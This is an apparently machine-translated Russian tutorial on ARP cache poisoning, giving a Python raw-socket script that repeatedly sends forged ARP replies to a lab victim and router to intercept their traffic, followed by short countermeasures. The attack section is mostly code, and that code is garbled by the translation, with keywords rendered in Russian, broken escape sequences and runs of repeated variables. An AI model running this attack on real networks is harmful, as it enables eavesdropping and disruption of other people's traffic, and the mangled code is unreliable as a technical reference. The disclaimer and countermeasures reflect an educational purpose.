Сегодня я собираюсь научить вас, как осуществить отравляющую ARP-атаку . Для этого я буду использовать сырые сокеты в Python, цель состоит в том, чтобы увидеть, как работают эти типы сокетов, узнать, как работает эта атака или что вы можете выполнять тесты в своей сети (хотя для этого уже есть инструменты для сети), а не в том, что вы используете его с злоумышленные цели
примечание
С помощью scapy вы можете выполнять эту работу быстрее и проще, но, увидев это руководство, вы сможете использовать знания, чтобы использовать библиотеку и сделать это самостоятельно, если мы сделаем это наоборот, это будет стоить вам дороже. Показанный здесь метод работает только в системах Linux.
Мелкие детали, которые вы должны знать
ARP
Это протокол разрешения адресов, найденный на сетевом уровне. Его задача - найти MAC-адрес (физический адрес), который соответствует определенному IP-адресу (сетевому адресу).
ARP кэши
Каждое устройство имеет небольшую память, в которой хранятся трансляции MAC-IP, поэтому мы воспользуемся этой атакой. Этот кеш существует потому, что он позволяет избежать затрат на запрос перевода каждый раз, когда мы подключаемся к другому устройству.
Работа протокола ARP проста: когда вы отправляете кому-то пакет, будет проверяться кеш устройства, если такой перевод существует, он отправит пакет, если нет ARP, он отправит широковещательный пакет (он особенный, у него есть MAC-адрес). Назначение ff: ff: ff: ff: ff: ff), этот пакет достигнет всех устройств в сети и «спросит», у кого запрашивается IP-адрес, каждое устройство при просмотре специального MAC прочитает пакет и только Кто бы ни запрашивал IP-адрес, он ответит с указанием своего MAC-адреса, тогда он будет сохранен в кеше, чтобы не запрашивать его снова в течение следующих нескольких минут.
Атака ARP используется для слежки за данными, проходящими через сеть, или мы также можем использовать их, чтобы данные не достигали пунктов назначения, в которые они направлены. Эта атака состоит в постоянной отправке пакетов ARP в сеть, указывающих, что наш MAC соответствует IP-адресу жертвы и что наш MAC-адрес связан с IP-адресом маршрутизатора . Мы должны постоянно посылать пакеты, потому что это динамический протокол, поэтому кеш меняется, возможно, перевод удален, обновлен с реальными данными, поэтому, чтобы убедиться, что мы отправляем пакеты так часто, они не очень тяжелые, Поэтому они обычно не будут перегружать сеть.
примечание
ARP - это протокол, который используется только в IPv4, поэтому эта атака недопустима для IPv6, но атаку отравления можно осуществить, используя преимущества другого протокола, такого как NDP, который используется для обнаружения «соседей» в сети.
Чтобы начать наш пример, нам нужно знать IP-адреса жертвы и шлюза маршрутизатора, а также его MAC, вы можете использовать nmap для обнаружения активных устройств в вашей сети, и MAC может легко получить его, например, Мы хотим отравить кэш с адресом 192.168.66.2, который станет моей жертвой (виртуальная машина), я выполню следующее в cmd или терминале:
Windows -> Ping 192.168.66.2 -n 1 Unix -> Ping 192.168.66.2 -c 1-Cy -n указывает, что отправляется один пакет, у каждой операционной системы свой параметр. Позже мы ставим:
arp -aМы укажем кэш ARP, поэтому мы можем видеть сохраненные нами переводы (и, предварительно отправив эхо-запрос на перевод, мы уже имеем перевод с жертвой). Мы должны сделать то же самое со шлюзом маршрутизатора:
Затем я положу все данные, которые мы должны иметь под рукой:
- Жертва -> 192.168.66.2 / MAC: 00: 50: 56: e3: d1: 75
- Маршрутизатор -> IP: 192.168.66.1 / MAC: 00: 50: 56: c0: 00: 08
- Мой ПК -> IP: 192.168.66.128 / MAC: 00: 0c: 29: 5e: cb: 5f
Я поместил полный код и объяснил его ниже, он работает для Python в версии 2.x, но с небольшими изменениями вы можете адаптировать его к версии 3.x:
импорт сокета время импорта, структура, соединение binascii = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800))) macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f "macVictima =" \ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75 "macRouter =" \ x00 \ x50 \ x56 \ xc0 \ x00 \ x08 "Общий код пакета = macOrigen + code eth1 = macVictima + общий пакет eth2 = macRouter + общий пакет Тип Аппаратное обеспечение = "\ x00 \ x01" тип Протокол = "\ x08 \ x00" длина Аппаратное обеспечение = "\ x06" длина Протокол = "\ x04" Код операции = тип \ Аппаратное обеспечение = тип Аппаратное обеспечение + тип тип протокол + длина аппаратное обеспечение + длина протокол + код операции + macOrigen ipRouter = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + общий заголовок + ipRouter + macVictima + ipVictima + ipVictima + ipVictima + ipVictima + ipVictima + ipVictima + ipVictima + ipVictima ipVictima + macRouter + ipRouter print («Отравление кэшей ... для остановки CTRL + C»), а True: connection.send (arpRouter) connection.send (arpVictima) time.sle эп (1)Первое, что мы делаем, это импортируем необходимые библиотеки, которые не требуют дальнейшего объяснения. Давайте продолжим со следующими строками:
connection = socket.socket (socket.PF_PACKET, socket.SOCK_RAW, socket.ntohs (0x0800)) connection.bind (("ens33", socket.htons (0x0800)))Первая строка создает сокет со следующими характеристиками:
- PF_PACKET : отправлять и получать пакеты на низком уровне.
- SOCK_RAW : использовать необработанные сокеты.
- socket.htons (0x0800) : 0x0800 будет определять протокол ETH_P_IP, функция ntohs преобразует сетевой формат в байты в соответствующий формат для нашего компьютера (s означает короткий, то есть 16 бит, если он имеет l, они будут 32 бита)
А второй собирается поставить сокет «слушать» сокет:
- ens33 : это сетевой интерфейс, где мы собираемся работать, ваш может быть eth0, если вы используете ifconfig, вы увидите его (см. изображение ниже).
- socket.htons (0x800) : то же, что и раньше.
Строки, которые мы увидим далее, будут создавать заголовки Ethernet, для этого мы устанавливаем MAC и код (тот, который мы помещаем, принадлежит протоколу ARP), если вы хотите узнать больше об Ethernet, нажмите здесь:
macOrigen = "\ x00 \ x0c \ x29 \ x5e \ xcb \ x5f" macVictima = "\ x00 \ x50 \ x56 \ xe3 \ xd1 \ x75" macRouter = "\ x00 \ x50 \ x56 \ xc0 \ x00 \ x08" Общий код пакета = macOrigen + код eth1 = macVictima + общий пакет eth2 = macRouter + общий пакетСледующая часть кода собирает пакеты ARP. Чтобы просмотреть структуру, перейдите по следующей ссылке и перейдите в раздел структуры пакета. Код операции \ x00 \ x02 должен указывать, что это пакет ответа (если 1 будет запросом), а функция socket.inet_aton () преобразует адрес IPv4 в 32-разрядный двоичный формат. Как вы можете видеть из предыдущего кода и теперь, чтобы начать создавать пакет, мы объединяем его части.
Тип оборудования = "\ x00 \ x01" Тип протокола = "\ x08 \ x00" Длина оборудования = "\ x06" Длина протокола = "\ x04" Код операции = "\ x00 \ x02" Общий заголовок = Тип Оборудование + Тип протокола + Оборудование + Протокол длины + Макропроцесс + макрос = socket.inet_aton ("192.168.66.1") ipVictima = socket.inet_aton ("192.168.66.2") arpVictima = eth1 + заголовок Общий + ipRouter + macVictima + ipVictima arpRouter = eth2 + общий заголовок + ipVictima + macRouter + iRRПоследняя часть кода показывает сообщение о том, что оно работает, и входит в бесконечный цикл, который будет посылать пакеты, чтобы отравить кэш-память нашей жертвы и шлюза маршрутизатора, это делается каждую секунду, так как мы спим.
print («Отравление кэшей ... для остановки CTRL + C»), в то время как True: connection.send (arpRouter) connection.send (arpVictima) time.sleep (1)Давайте посмотрим, как выглядит выполнение программы (мы должны запустить его как пользователь root ):
И если мы посмотрим на кэш жертвы, то увидим, что его IP-адрес теперь связан с MAC-адресом атакующего:
меры противодействия
- Используя статические таблицы ARP, мы добавляем записи вручную и не допускаем их изменения.
- Обратитесь к обратному ARP, этот протокол вернет IP-адрес от MAC, поэтому, если он возвращает более одного IP-адреса, вполне вероятно, что они подделали нас.
Эти меры требуют минимальных знаний, поэтому не каждый сможет их выполнить, но, обратившись к нашему разделу вопросов или руководств по информационной безопасности, вы обязательно найдете помощь.
Если вы хотите код здесь, я оставляю почтовый индекс:
Скачать код
ArpPoisoning.zip 579 байт 68 скачиваний
- 0
СТАТЬИ